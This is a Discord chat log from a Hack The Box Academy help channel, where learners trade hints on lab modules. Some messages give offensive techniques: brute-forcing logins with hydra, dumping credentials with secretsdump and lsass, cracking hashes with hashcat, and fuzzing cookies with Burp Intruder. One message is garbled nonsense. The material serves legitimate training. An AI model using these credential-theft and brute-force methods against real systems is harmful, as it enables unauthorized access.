modules

[fathom pendant]

This is drifting off topic

[rustic sage]

From what ive heard cpts is harder than oscp

[crude harbor]

It's my first step in security !

[fathom pendant]

Let's get it back to module chatter

[rustic sage]

Fact never done it cuz i knew it was pointless

[rustic sage]

What is noah gang in ur bio cuz thats my name?

[fathom pendant]

There are other channels where cert discussions have been had #careers-and-certs but you need to verify your main htb account following instructions in #welcome

[true marlin]

And tcm security have a good course for ethical hacking

Ztm too

[fathom pendant]

Noah is birb

[rustic sage]

Injections or sqlmap?

Wait nvm

[rustic sage]

No labs tho

[true marlin]

Have you learn about burp suite metasploit, johen dhe ripper or not yet

[rustic sage]

Yes i have

[fathom pendant]

Did you steal the hash?

[true marlin]

Its complete course 25 hour

[rustic sage]

Ik ive done it

[true marlin]

Me too nice

[rustic sage]

Anyway they said no cert dicussion here dm me if u wanna talk abt that

[true marlin]

About what sorry

Hacking?

For that i have born ready

Oh cert sry

[fathom pendant]

If you read #welcome you'll find out how to access more of the server btw ;)

[true marlin]

I will do maybe but not yet

[rustic sage]

btw can someone please help i mean they always be doing this making it harder for no reason could have just logged in as adunn and then it might run ok with no issues

[fathom pendant]

After updating perms log out and log back in

[rustic sage]

ill give it a go after the gym then

thanks

[true marlin]

And one last thing htb academy is more theory to read and htb lab or main its for challengers and labs?

[fathom pendant]

Academy develops skills, labs test them

Each module has a skill assessment at the end that ties each section together from it

[rustic sage]

the courses have so much reading and i literally cannot read

[true marlin]

Like tryhackme

[fathom pendant]

Skill issue

[rustic sage]

try hack me is more of walkthroughs

[true marlin]

Yea

I will try htb for offensive

Thx guys

[fathom pendant]

Did you uh, yknow, get the password from the hash?

You have all you need then

You might have to use an extra flag in the connect command

-local-auth i think it is or -windows-auth

[sullen loom]

guys how much python/networking and all should I know before getting into hacking, CTFs real time vuln machine exploiting/hacking etc

Like, I can still keep on learning it down the road

[rustic sage]

should defo know networking in my opinion but tbh u can learn as u go

[sullen loom]

yeah, Im refering to some resources and THM for networking. And ik fundamentals of python, so Ill just go for CTFs and such

Learn as I go like you said

Anyways, thanks for reassuring

[fathom pendant]

Basic Networking is a must

[rustic sage]

if u dont even know what an ip address is yeah

[sullen loom]

right

[fathom pendant]

Knowing the basics of what CIDR notation is and what it means is super useful

[sullen loom]

alright. Ill make sure to look into it

[sullen loom]

And by CIDR, I bet you mean Classless Inter Domain Routing? Googled it btw

[fathom pendant]

Yes

[sullen loom]

alright, cool

[tame ivy]

Good evening, i am stuck on Module Web Attacks,Section:Skills assessment, i have enumerated a api,|| have found tokens and users,|| but how can i understand who is admin? first one? can anyone give some nudge how to do this? I had no problems with the modules

[sly dome]

read

and you will notice

[tame ivy]

yeah with token i can force to change password, but there is a cookie which is random and im getting a access denied

[sly dome]

one user is admin

just read

and enumerate

[tame ivy]

oh ok, thank you sir

[sly dome]

Password Attacks - Hard Lab, most optimal way to bruteforce this one?

hydra with 4 threads is killing me

[fathom pendant]

Why not more threads?

Like 48

[sly dome]

it defaults to 4

when using rdp

[fathom pendant]

I dont think I bruteforced rdp first but I could be mistaken, been a minute

[sly dome]

probably smb is better which is the other protocol being used

lets stick to cme with some threads

[fathom pendant]

[tame ivy]

well i have found a admin user, here im trying to change a password, but access denied, is it because of PHPSESSID?

[sly dome]

you really have to put a lot of work

if you want to improve

the way to bypass that is literally explained in the module

[pearl matrix]

@sly dome ur tip worked. thank bro

[tame ivy]

you're right, maybe I need to reread the module

[sly dome]

any time

[pearl matrix]

Ha, I've another silly question. I've already got the answer (I think); Question: "Once you decode the cookie, you will notice that it is only 31 characters long, which appears to be an md5 hash missing its last character. So, try to fuzz the last character of the decoded md5 cookie with all alpha-numeric characters, while encoding each request with the encoding methods you identified above. (You may use the "alphanum-case.txt" wordlist from Seclist for the payload)".

I already find the 88 character cookie, encoding the cookie "3dac93b8cd250aa8c1a36fffc79a17a" (previously decoded in ASCII Hex, and Base64), replacing the last character "a" with the payload list. Then, in the payload processing, I set it to encode the payload list data to Base64, and then to ASCII Hex again (just to give you an idea, it would be something like: 3dac93b8cd250aa8c1a36fffc79a174d413d3d, with '4d413d3d' being the payload list data, already encoded) , after that I just restarted the process, replacing the previously decoded cookie (a8c1a36fffc79a17) with its raw version (4d325268597a6b7a596a686a5a4449314d4746684f474d7859544d325a6d5a6d597a63355954 4533) Thus obtaining the 88 character cookie. No mystery so far, however, there are 62 results, would I have to copy and paste all the results into the htb input??

sorry for the long text

[thorn urchin]

No you should be automating it

burp intruder or ffuf

[pseudo vapor]

question what would happen if i was to unenroll my chrome ook from school?

[coarse bane]

Someone knows why, in the smtp module, when looking for the username, using the provided list , only with metasploit the username is found??

[elfin cedar]

Hi all. I am confused why I can't read the flag, I added myself to the Domain Admins group.

I am on the Windows Privilege Escalation/DnsAdmins section.

[sly dome]

@hallow kiln very cool module dude

but i missed some more AD stuff i guess they let it for the other module

[elfin cedar]

I reset the machine did all the same step, still access denied.

[naive wadi]

Not done it but I did a module today where even because I was admin it didn't give me access to a specific resource. I'd enumerate who has access to the object you're trying to access

Usually HTB place flags in specific users directories so maybe enumerate that user and see what principals have privs over them

[elfin cedar]

but it says the flag is here: Submit the contents of the flag located at c:\Users\Administrator\Desktop\DnsAdmins\flag.txt

[pearl matrix]

The answer is really the cookie with 88 characters? This is my main doubt

3rd question in webproxie module.

last session

[sly dome]

it is explained somewhere in the modules for sure

it is something basic from windows groups changes

[elfin cedar]

well thanks

[sly dome]

the answer is the 31 chars value

and after that the answer is a flag of the type HTB{flag}

[sly dome]

a flag

[neat sky]

make ur own list with the original cookie and the missing ascii encoded base 64 encoded last characters. run all 62 and check the response render

[pearl matrix]

something like that?

cookie=4d325268597a6b7a596a686a5a4449314d4746684f474d7859544d325a6d5a6d597a633559544533§x§

[winter blaze]

Hey Guys I'm in "Password Attacks " : "Password Attacks Lab - Hard"
got the credentials of user d cracked the Logins.kdbx
but I can't use this credentials for anything ,
I have tried to connect with evil-winrm as david (didn't worked out ), tried to do xfreerdp as david (didn't worked out), tried 2 access the folder of administrator & david (didn't worked)
can someone give me a hint please, not sure what else to do

[pearl matrix]

The payload list will be encoded in Base64 and then ASCII Hex. It's right?

[neat sky]

are u checking all the responses and making sure it is appending the original cookie + missing encoded characters

[pearl matrix]

Yep

[lean tiger]

I ask twice some question and it was deleted automatically. Can somebody tell me what do i need to do ? I asked for some hints and got deleted

[sly dome]

smb has a network share called david

[neat sky]

ur payload options list needs to be modified so that all 62 iterations contain the 31 +1 character

[sly dome]

no

so the best way to do it is

cookie=burppayload

and then in intruder options add a prefix to all values of the list

the prefix is going to be the 31 chars obtained before

also in intruder select post processing options to be the correct encoding’s

[pearl matrix]

The original cookie you refer to and before it was decoded? In the case "4d325268597a6b7a596a686a5a4449314d4746684f474d7859544d325a6d5a6d597a6335595445334d513d3d" original and "3dac93b8cd250aa8c1a36fffc79a1 7a"? If yes, then yes. I'm using the original cookie (88 characters long).

[neat sky]

you can do this 2 ways both make a new list with the 3dac93b + normal character u will copy and paste the 3dac93b for each chracter this is ur new list to run

[neat sky]

or u can make a new list with it already encoded 4d32526 + each encoded missing character x 62 times in this version u remove the encoding rules since its already encoded

[pearl matrix]

Wait, the character that will be altered Isn't that the "a" at the end in "3dac93b8cd250aa8c1a36fffc79a1 7a"???

[sly dome]

no

it’s appended

[pearl matrix]

Holy shit

[sly dome]

read the question

[pearl matrix]

I lost 5 hours due to lack of attention

[neat sky]

it be like that

not 31

a17aa, a17ab, a17ac, etc etc

[pearl matrix]

until then I thought it was to replace the "a" at the end lol

[pearl matrix]

something like that: cookie=4d325268597a6b7a596a686a5a4449314d4746684f474d7859544d325a6d5a6d597a63355954453359513d3d§x§ (here will be the lists of encoded missing characters.)?

[neat sky]

look at ur PMs

[slate shell]

Anyway to fix this error?

[thorn urchin]

yes turn your phone 90 degrees

alt, take a real screenshot

[slate shell]

Managed to fix it

[shut wraith]

SERVER-SIDE ATTACKS

Nginx Reverse Proxy & AJP

I'm struggling to setup the Nginx Reverse Proxy. Here is what I did:

1. went into the /etc/nginx/conf/nginx.conf
2. Commented out the server block
3. Added the following in the http block

    server <TARGET_SERVER>:8009;
    keepalive 10;
    }
server {
    listen 80;
    location / {
        ajp_keep_conn on;
        ajp_pass tomcats;
    }
}```
4. Started nginx and curled: ``curl http://127.0.0.1:80``
5. I get an error:
```<html>
<head><title>502 Bad Gateway</title></head>
<body>
<center><h1>502 Bad Gateway</h1></center>
<hr><center>nginx/1.21.3</center>
</body>
</html>

Can anyone help please? No clue how to fix this

[sly dome]

check the logs

you will have to troubleshoot

[shut wraith]

Sorry for this noob question but how do I check the logs. And when I do, what am I looking for?

[sly dome]

nginx logs

[shut wraith]

What am I supposed to gather from this

[sly dome]

are you listening on port 80

netstat -nat

also the error is from the server

double check the nginx conf server to match the exercise ip

[shut wraith]

I tried to restart nginx sudo systemctl restart nginx.service and I get all this error code. Do u understand it?

I think I should skip this shitty part

I'm not learning to become an nginx professional

I just want to hack things

This is so stupid

[woven copper]

why did you use ajp_pass and ajp_keep ?

[sly dome]

sometimes you will have to connect through ajp proxies

🤷‍♀️

[shut wraith]

I didn't know I'm using those things. I'm just following the module tutorial

Did u do this module already?

[woven copper]

try with proxy_pass, No i didn't

[sly dome]

i literally followed step by step

and it worked like a charm

i did under Parrot OS on a local VM

[shut wraith]

Okay so I need Parrot OS for this?

[sly dome]

no

i just say that maybe you miss some step

[shut wraith]

How come when I use sudo systemctl stop nginx.service it doesn't actually stop... How the hell do I stop the service?

Do I keep restarting my VM to stop it XD

[sly dome]

nginx -s stop

is the command

you should start googling stuff you dont know

[undone narwhal]

Why did you set the port to 8009?

[shut wraith]

Because in the module it said to leave the port at 8009

[undone narwhal]

I don't think it did. can you send a screenshot of that

You have to use the port spawned with the box

[shut wraith]

Can I screenshare to u? I think I am editing the config wrong

[sly dome]

yes it mapped to the 8009

so you have to use the port given in the exercise

Note: In the following configuration, we are using port 8009, which is Tomcat's default port for AJP, and this is how we would use it in a real environment. However, to complete the exercise at the end of this section you should specify the IP and port of the target you will spawn (they will both be visible right next to "Target:"). The port you will see is essentially mapped to port 8009 of the underlying Docker container.

READ issue

[shut wraith]

I already tried with the machine PORT. It is a problem with how I change the config

[hallow kiln]

nice, with that out of the way, the rest of the path should be a breeze 😁

[sly dome]

how should i face VULNERABILITY ASSESSMENT

shitty module o.O

[shut wraith]

Try harder

(now u will never help me again I think)

[sly dome]

?

ill help if i can help

[shut wraith]

Thanks

[fathom pendant]

Just do the thing, the tool skill assessments have preloaded scans on the spawned ip

[sly dome]

very interesting in the end

i expected it to be worse

[fathom pendant]

It's honestly more about teaching how to read the results than using the tool

[sly dome]

im still in the first part

the standards part is nice to know

some stuff that can help you in interviews xD

[fathom pendant]

Mhm

I just felt it was lacking in terms of verifying results

[sly dome]

as i understand with the vuln assessment you dont have to exploit the results?

[fathom pendant]

Nope

[sly dome]

sometimes the client can ask you to do it but generally it says just run this and report that

xD

[fathom pendant]

Just surface level

[sly dome]

well is a good starting point

probably if you have a baby company and you hire a pentest, it will just find a lot of flaws

well, good informative module

at least the brain can relax with this one

[fathom pendant]

Vulnerability assessment should come before any full pentest

[sly dome]

yyy

[fathom pendant]

Vuln assessment > attempt triage > pentest to see if triage worked

[rustic sage]

I’ve only just started with HTB, and there’s so much I want to do already

[fathom pendant]

If you're doing academy: infosec fundamentals path is a good way to get started

[cedar void]

I now think I need to use a brute forcing tool like john to find crack the hash value that I found in the nmap results . I thought the hash type would be sha256 but my research on that hash type shows that they cannot detrmine that

[fathom pendant]

That's not going to be helpful

You need to start somewhere else

[cedar void]

the john tool or the RSA value I found from the nmap results?

[fathom pendant]

Different service entirely

Also you don't need to unhash an rsa key generally

Did you only do port 22 for your Nmap scan?

[cedar void]

Nope. port 21,22, 139, and 445

[fathom pendant]

Then why are you focusing on 22?

:)

[outer thorn]

RSA is not a hashing algorithm

[fathom pendant]

You have a username, and password list

Gotta bruteforce it

[cedar void]

I know that I can use the mut_password.list as a wordlist

[fathom pendant]

Yes

And you can just use sam as a username

[sly dome]

@cedar void think twice what you are doing

the question is just asking you to find the password of the user sam as taught in the above section

from here you have to conclude that you MUST bruteforce sam's password

how? network, you have ssh and ftp and we know from experience and the previous section itself that ssh bruteforce is one of the slowers and can be locked

and very likely sam as another lazy human more in this planet, is reusing his ftp password

that kind of thing has to be on your mind

[fathom pendant]

^

It WILL take time

[sly dome]

this is only a virtual enviroment but dont think real enviroments are not reusing passwords

[fathom pendant]

Most common is {importantNoun}{importantYear}{symbols}

That's irrelevant to this excercize

[hallow kiln]

Or for the truly lazy SeasonYearSymbol

[sly dome]

also you are trying to crack a rsa signature

which is absolutely a non sense

[fathom pendant]

That's companies defaults

[sly dome]

💀

it fkn happens in real world hahah well...

[hallow kiln]

It shouldn't be anyone's default

[sly dome]

welcome123

imagine

[hallow kiln]

Welcome1!

[pearl crystal]

My guy told me I gotta know Linux well for security

It's too overwhelming man. I'll try a vm first before I fully migrate to linux

[hallow kiln]

No one says you have to migrate to Linux

[fathom pendant]

Vm is smarter anyway

I daily drive Windows and use Linux for small stuff ¯_(ツ)_/¯

[sly dome]

if it was only Linux 🤣

[regal walrus]

I hate furries

[fathom pendant]

Congrats

[sly dome]

out of context totally

[hallow kiln]

Nobody asked

[regal walrus]

I hate mfing furries

[sly dome]

wth

[fathom pendant]

They've been saying it like every few hours

[sly dome]

a

[hallow kiln]

Why haven't they gotten the kick yet?

[fathom pendant]

Because they didn't receive enough love and affection growing up

[sly dome]

i see HAHAHA

[acoustic owl]

The operating system does not matter at all. Either way, you have to know Windows and Linux very well.

[fathom pendant]

It was drowned out earlier

[regal walrus]

What are you guys talking about today friends

[fathom pendant]

Academy modules

[sly dome]

i refuse to answer

[fathom pendant]

And that'll be the same until the heat death of the universe

[regal walrus]

What is that ?????

[fathom pendant]

[sly dome]

i wont get people disturbing random discord servers they dont care about

like get a life

[hallow kiln]

They don't have a life

[sly dome]

lol

[regal walrus]

😑

[fathom pendant]

If only there's a #welcome channel that describes what the server is about

[hallow kiln]

If you don't know what that is, this is the wrong place to be

[acoustic owl]

^

[regal walrus]

I know what is that

It is about hecking

Ayo dawg got that drippp

🥶

[sly dome]

i have totally no idea bout the scenario but aren’t protections in place?

[regal walrus]

Dude just dropped the coldest messege and didn't even give us a blanket

[hallow kiln]

Get out, so people can actually get help and not have their posts drowned out

[fathom pendant]

Anyway this channel isn't really for idle chatter

[pearl crystal]

Thank god, I was stressing for no reason then

[regal walrus]

Sorry

[fathom pendant]

Still good to know the basics of other OS

[regal walrus]

[warped nexus]

academy definitely has some issues, missing recaptcha, emails going out with variables not filled out

[novel matrix]

Please reach out to support

[regal walrus]

💀

[hallow kiln]

Pwning, can something be done about this joker here

[fathom pendant]

If you wanna just shitpost make an account on app.hackthebox.com and verify via the instructions in #welcome

[regal walrus]

Sorry

[regal walrus]

Sorry

[fathom pendant]

You'll gain access to more of the server

[regal walrus]

No shitpost starting today

🫡

[novel matrix]

Let’s change topic please

[regal walrus]

Ok

[regal walrus]

Ima gonna sleep

Bye

[sly dome]

any ban hammers

[novel matrix]

Dw

Dealt with

[warped nexus]

lots of hammers

[fathom pendant]

[hallow kiln]

Thanks

[sly dome]

good night guys

[hallow kiln]

Probably best to repost so people can see it, now that there's no more spam

[green bloom]

I'm going to post in community help, but good call

[fathom pendant]

Posting here is the better place

As it's an academy module

Are you sure your entry point is correct

[green bloom]

As in EIP?

[fathom pendant]

I'm not familiar with asm so I guess

I just mean your buffer before your instructions

[hallow kiln]

Haven't done the module, but is it really LPORT:1234 in your command or a typo here? Not sure that's valid for specifying the port, LPORT=1234

[fathom pendant]

RPORT = target, LPORT = you

[green bloom]

Before my instructions, I'm confident. I'm not sure if there's an issue in my shell code or there's an issue with pwn box and this assement

[green bloom]

Good call, I'll take a look to see if that was the issue

[rustic sage]

Infosec fundamentals does seem like a good starting point

Very general and good knowledge

[green bloom]

That was the issue (- _-;) . Three hours over a colon

[green bloom]

So thank you very much for the help

[hallow kiln]

It happens, the tiniest misstep in syntax and then it's hours of troubleshooting, glad you got it now

[fathom pendant]

No semicolon in mysql query

[fathom pendant]

Delete your original help message as it spoils

[green bloom]

Done

[fathom pendant]

❤️

But congrats on the w

[timid tundra]

Hey everyone, I just joined Hack the Box. I am in the academy sessions (modules) and I am in the firefox machine—I doesn't want to load though; keeps saying it timed out. I did the best troubleshooting I could with it and still could not find why it's saying that. Could anyone help? thank you!

[fathom pendant]

What module are you working on?

The pwnbox has limited web availability if you're not subscribed or pay for cyoobs

[iron hazel]

Hi guys. If I setup a ftp server on my localhost, and want to port forward to a ssh remote host (pwnbox), when I do ssh -r 2121:0.0.0.0:2121 htb-student@pwnboxip, i see the port show up on localhost but the port is not open if we use other IP of the pwnbox...

[timid tundra]

I am on the 3rd one. Just started a few minutes ago . it wants me to go to firefox and go to the target URL.

[iron hazel]

any idea how i can run a local ftp server, and make a internal ssh host open up the port so other victim machines can talk to it?

[fathom pendant]

https://tenor.com/view/do-you-have-any-idea-how-little-that-narrows-it-down-that-narrows-it-down-clear-now-its-clear-now-i-understand-now-gif-21256627

[fathom pendant]

What module is that for

[hallow kiln]

Modules have a name, so do sections

[fathom pendant]

^

[iron hazel]

just in general i want to play around. I am in the AD module and want to see if i can get hashes out of ntds.dit, and the file is large

trying to do file transfer i guess.

[fathom pendant]

You also don't need the pwnbox to access the website it gives you ip:port

[fathom pendant]

Then just do file transfer, why make it more complicated than it needs to be

[timid tundra]

I'm not that advanced. I'm just following along for right now. I don't know what pwnbox is. can you point me in the right direction?

[iron hazel]

pwnbox is a attack machine they setup for u in the cloud and you can control it fully in browser

[fathom pendant]

Pwnbox refers to the in-browser vm

[timid tundra]

It's titled "interactive session with target." I want to understand this but i feel lost.

[hallow kiln]

again, which module and section?

[fathom pendant]

You're doing the getting started module then

The module name is all the way at the top

[timid tundra]

@n @fathom pendant I have not that much knowledge on all of this. However, the firefox VM that it is giving me is the pwnbox?

[fathom pendant]

Sorry intro to academy not getting started

Hold on I'll explain with screenshots since you're a little dense

[timid tundra]

Yes. The getting started module. I have no good foundational knowledge of this so far. So I can't be of help while looking for help.

[tidal mango]

On the Active Directory Module, Skills assesment 1, there is a question "Find cleartext credentials for another domain user" I did this before and was able to find the password and the user. Using the same method and trying a lsass dump, this time I dont see the password listed (null). Can anyone help me out here? I have clear notes on how I did it last time and it does not seem to work now? Thanks!

[fathom pendant]

Start Instance is the pwnbox, spawn target is spawning the interactive target

If you're trying to use the example they provide you in the text above that part, you'll get nowhere

The 157.x.x.x:port in the example is not what they want you to attack in this section

It is purely example

[timid tundra]

@fathom pendant I guess I don't know. When the screen loads, it just says Firefox has timed out. I'm not sure why.

[fathom pendant]

I'm feeling generous rn

Dm me screenshots of what you're trying to do

[fathom pendant]

Did you click the button that says "Click here to spawn target"

[timid tundra]

I don't see one. I am trying to post screen shots

[fathom pendant]

Like I said to post screenshots you need to verify your main account following #welcome

You can also just dm me

You can dm without sending a friend request

[timid tundra]

Well, I sent one anyway. I'm not the best at discord. I guess anything as of right now. lol I'll send the screenshots in a moment

[scenic crest]

Can anyone help me with Server-Side Attacks - Skills Assessment?

[fathom pendant]

If you provide general examples of what you tried (without spoiling) it's more useful

Also don't spam your question

You didn't even give enough time for anyone to answer you before posting in other channels

[woven copper]

check javascript code

[rustic sage]

This server is based upon, how to hack technicilii?

[fathom pendant]

Read #welcome and #rules

[rustic sage]

Too much to midify, break it down slowly?

[scenic crest]

I have checked the js. After deobfuscation, there is a url. I did not find anything else useful later.

[fathom pendant]

No. Learn to read

[rustic sage]

Fuck no.

[hallow kiln]

Then you have no business here 🤷

[fathom pendant]

Damn I got 1984d, understandable

[novel matrix]

👀

[quick magnet]

hi im stuck in AD BLOODHOUND skill assesment last question
Find the percentage of users with a path to GLOBAL ADMINISTRATOR
i tried bloodhound cheatsheet with Find the percentage of users with a path to Domain Admins
i break some query to get:

• Users in domain inlanefreight.htb = ||15||
• Users that have path to domain admins = ||3||
  then divide it, but got wrong answer
  am i on right track ?

[naive turtle]

Ahh yep I did have both open.. will check that out tonight

[vital adder]

my brain is a bit fried right now but if you still need help with this shoot me a dm

[naive wadi]

gentle reminder to RE-READ all questions so you don't waste hours like me. PSA over.

[analog dock]

You do actually answer it in percentage? Not just divided?

[quick magnet]

i do percentage after divide, already solved

[candid dagger]

Is anyone up?

[fathom pendant]

No

I'm down

Read #rules and #welcome

Also no one is gonna dm you if you don't say what your issue is

[candid dagger]

Mhmm

[fathom pendant]

What is your 'important issue'

[candid dagger]

Eh it’s hard to explain here Nevermind /:

[fathom pendant]

Then it's not important enough, bye

[elfin cedar]

Can anyone help me on the last question for Windows Privilege Escalation - Pillaging? I use the password to restore the backup but it says its wrong.

nevermind I got it

[acoustic owl]

It wants Bitcoin
Look at the profile

[fathom pendant]

Oh I know

I was taking the piss, as they say

[elfin cedar]

yeah that was weird, theyve been here for a couple years and thats all they said

are they impersonating her? That is a real person in Alabama

[fathom pendant]

I wasn't gonna dig into it

[analog dock]

Meanwhile Marcie is in her dms paying btc for her feet

[fathom pendant]

Nah homie

[rustic sage]

You don't even know the part where he's your homie.

[fathom pendant]

?

You good?

Is that the best you can do?

low effort

[rustic sage]

How can someone see competence if one can't even see basic contradiction?

Talk about low effort.

[fathom pendant]

Like what did I do to you to have you be like this?

Lol

[rustic sage]

Nothing, it's just trolling.

[fathom pendant]

Yeah, low effort

[rustic sage]

Overreactive one.

[fathom pendant]

And boring

[rustic sage]

That's probably just your defence mechanism.

[fathom pendant]

Nah, I honestly don't give a shit

[rustic sage]

Hope that's the case.

[fathom pendant]

Anyway enough toying around <@&861185840277487616>

[novel matrix]

Well he is dealt with quickly

Ping and a BAM

[fathom pendant]

Tbh I was lowkey hoping he'd at least try a little harder

[novel matrix]

His comments removed

Let’s get back on track

[ornate notch]

evaceppt info.up stackreel.istack.nar.4low expire.null4.yiststackniiu.info.qai.isource. i.anonxczvstargkldsx.xclose.8.50.orders.logic.ireports.mint.root.i.hub.lan.outbound-only.strict.$!?.*@=™.over.i.ti.expire.onall@solved

[fathom pendant]

What

[wooden summit]

hey guys, trying to finish the knowledge assessment for the getting started path.
I 've (once to use msf to exploit the RCE Vulnerability on the machine.
I had to log out. Came back in again and tried the same again aaaand NOPE.
On the first try I performed an exploit check and msfconsole said the target is vulnerable, even got shell access and found the 1st flag,

I 'm trying to do this from scratch now, and can 't even get any of the 2 exploits to work I mean I get -> thetarget is not vulnerable.
(I ve set correct RHOSTS,RPORT, LHOST,TARGETURI)

[fathom pendant]

You might need to respawn target

[wooden summit]

tried that too. Hmm.. ok I 'll give myself a 10min break and respawn the whole box

@fathom pendant I 'll let you know if this time works

I also have a different kind of question.
While setting options within msf.
For example some exploits have mandatory fields that MUST be set in order to work.
So if someone/some target has USERNAME but blank/no pass, how can I set it as an option in msf?
It gonna be like: set PASSWORD '?'

[fathom pendant]

You might be able to get away with ""

As the password

[wooden summit]

you mean literally <"">

[fathom pendant]

Yes

[wooden summit]

oh nice thnx 🙂 I should check this thanks @fathom pendant

[cursive glacier]

Imo the skill assessment should be reevaluated for exploiting web vulnerabilities in thick-client application or at least provide a bit more context before hand

[rustic sage]

Hi
https://academy.hackthebox.com/module/80/section/781
I am a rookie and have no idea when doing this skill assessment. Can you give me some detailed tips?

[sly dome]

use the content of the module as explained

enumerating users can be a good start

[rustic sage]

and then?

[sly dome]

🤷🏻‍♂️

do your job

pointless if i give you a detailed step by step

solution

[rustic sage]

ok, thanks

Which wordlist should I use? /usr/share/commix/src/txt/usernames.txt?

[sly dome]

nope

read the information provided on the website

[rustic sage]

which website ?

I'm sorry. I'm a rookie

[sly dome]

are you in the skill assessment?

[fathom pendant]

1. Being a "rookie" doesn't matter
2. why are you doing a tier 2 module if you're not confident in your skills

[sly dome]

i mean you asked about skill assessment but you sent another section url

im now confused

[cedar void]

How long does it take this command to usually run?

[sly dome]

20 minutes took for me

[fathom pendant]

Do -t 48 it'll speed it up exponentially

[cedar void]

I added that

[fathom pendant]

You did capital T which I don't think affects the threads

[cedar void]

oh okay

[sly dome]

^

[fathom pendant]

Your output only shows 16 threads is why

[rustic sage]

sorry, this url https://academy.hackthebox.com/module/80/section/781

[sly dome]

personally i used 64 threads

from which 58 survived and tool around 20 minutes

[fathom pendant]

Yeah which is why I recommend 48

[sly dome]

use the hint

[fathom pendant]

You don't get any loss

[sly dome]

but 58>48

[fathom pendant]

The losses can skip over the right combi

[sly dome]

some threads just get connection issues it doesn’t mean you are losing tries

[fathom pendant]

And taking more time rerunning it

[cedar void]

So this instead ?

[fathom pendant]

Yep now you see how it says "max 64 tasks per 1 server"

[sly dome]

i dont think so, hydra doesn’t leave any combination without test

[fathom pendant]

It won't output

[sly dome]

what

[rustic sage]

thanks

@fathom pendant you miss maxipal?

[fathom pendant]

Who?

[rustic sage]

maxipal

[fathom pendant]

Obviously if I'm asking. I didn't care enough tbh

[rustic sage]

miss him?

why did he get banned for 10 years

[fathom pendant]

No fuckin idea, I'm not admin or staff

Probably said something stupid

Also completely unrelated to this channel

[fathom pendant]

You'd need to rerun the command for it to reattempt the dropped packets, and if the password combo is in one that was dropped: you're spending more time trying to figure it out than it would be running it slightly slower, but more stable

Because more threads means more of a chance you dos the target

[sly dome]

i don’t know how it works exactly because before starting the attack it determines how many threads are healthy

i ran it once with -t 64 and it went down to 44 threads

[fading violet]

One message removed from a suspended account.

One message removed from a suspended account.

One message removed from a suspended account.

One message removed from a suspended account.

[fathom pendant]

Not related to modules read #welcome and #rules

[sudden blaze]

hello everyone! How to dump lsa secrets locally? I have following command: python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.save -security security.save -system system.save LOCAL is this right?

because it shows only password of user but not the user

with crackmapexec remotely it shows user:pass

Am i doing something wrong

(Unknown User):Password123

[undone narwhal]

Module and Section?

[simple swan]

Footprinting
Oracle TNS
Footprinting
Oracle TNS

[sudden blaze]

Module:Password Attack; Section:Attacking SAM thx

[undone narwhal]

Did you try dumping LSA Secrets with Crackmapexec

[fathom pendant]

Follow the section step by step

[sudden blaze]

@fathom pendant with crackmap remotely it works and i get user:pass! but locally it only shows password; guess i followed the section

just wondering about different results remotely vs locally

[fathom pendant]

I don't think you need to specify LOCAL

But I could be wrong

[sudden blaze]

@undone narwhal yes this method works

@fathom pendant local is required

[undone narwhal]

it always says unknow user through SAM for some reason may be it dont cache the user name, and i think the crackmap exec literally dumps the lsa secrets hence you get the user name and password

[sudden blaze]

@undone narwhal thought cached username should be in hklm\security so secretdsump should get that: secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

but nevertheless thx

[undone narwhal]

yes security hive stores the lsa secrets, maybe the secretsdump and crackmapexec uses different methods to parse the registry hives

[sudden blaze]

ok thx

[sly dome]

you can use -debug

with any impacket tool

and see what is happening

[sly dome]

i cant reproduce your problem

used impacket 0.12.0dev and nxc dev branch

got the same result with both

probably has to do with your impacket version

[sudden blaze]

ok i give it a try

[balmy iris]

I have a question regarding "Introduction to Network Traffic Analysis", for layer 5-7 topic, one question is "FTP utilizes what two ports for command and data transfer? (separate the two numbers with a space)"
I tried '20 21' and '21 20' but it says it is wrong. Have I mistaken ?

[lone pendant]

Hello there I am learning assembly x86_64 in the academy, and I am doing the chellange of this section., https://academy.hackthebox.com/module/85/section/877.
I need to get the contex of rax register at <_start+16> but when I break there and try to get the info of that register using x/wx $rax, it gives this error:
0x21796d6564637708: <error: Cannot access memory at address 0x21796d6564637708>

[sly dome]

check trailing or/and leading spaces

iirc the answer is 20 21

[balmy iris]

Thanks, it was indeed a space problem

[hushed jewel]

The error message you’re encountering, “Cannot access memory at address 0x21796d6564637708,” suggests that the memory address you’re trying to access might be invalid or not accessible. To resolve this, you should ensure that you’re breaking at the correct location in your code and that the value in the RAX register is valid at that point. Double-check your breakpoints and the context in which you’re trying to access RAX. Additionally, ensure that you’re debugging within a valid memory range.

I hope I could help.

[glacial dragon]

Hello guys

I'm stuck at the IPMI service in Footprinting module

[fathom pendant]

What have you tried and what is your issue

[glacial dragon]

The question is whats the accounts cleartext password

[fathom pendant]

(My best guess is you're not using the right hashcat mode)

[glacial dragon]

Using msf i did found the hashes

[fathom pendant]

Mhm and you need to dehash it into plaintext

[glacial dragon]

Yes

And how should i do that?

[sly dome]

read the section

its explained

use an appropriate dictionary

[glacial dragon]

The hashcat mode

Says it'll take 14 days to dehash it

[sly dome]

the one the section uses

it took me less than a second

[glacial dragon]

Ayo

[fathom pendant]

You're using the wrong thing then

[sly dome]

but use the correct dictionary

you dont have to brute force it

its dictionary attack mode

[fathom pendant]

You shouldn't be using the ?1?1?1?1?1 mask either

[sly dome]

yea i remember now

the section doesnt show dictionary

but just use THE dictionary

[fathom pendant]

There is a wordlist in resources

[sly dome]

true

but for this case

the rockyou worked for me

dont know if the password is in the resources’ one

[rustic sage]

Hii

[glacial dragon]

Am i supposed to save the hash in a txt file?

[sly dome]

@glacial dragon think the brute force mode is for HP devices

you dont need format

echo "hash" > ipmihash

[glacial dragon]

Found it

Rockyou worked

Thanks man🤝

[sly dome]

any time dude

[slate creek]

can't agree more dude, it took me a few hours to solve the easy one using tips here. the medium just time consuming in that you need to try the creds on SSH. the Eeasy lab had more steps to solve, and had some document reading to concude rev shell is the way to go.

[main inlet]

Hello everyone
I'm having some trouble with the Getting Started module in the Public Exploits section.
I'm doing the activity at the lesson, but I can't even scan the machine to see what ports are open. I keep getting this error. Any input on what I could be doing wrong is greatly appreciated.

[slate creek]

tell me what have u done or dm me to help you.

[vital adder]

that's a docker container and you can't scan or ping those

[thorn urchin]

youre provided the sole port you should be interacting with there. 57436

good thing your syntax was wrong, full scanning a public IP like that can be rude 🙂

[surreal marsh]

Hello in the Linux Fundamentals module Permissions section there is

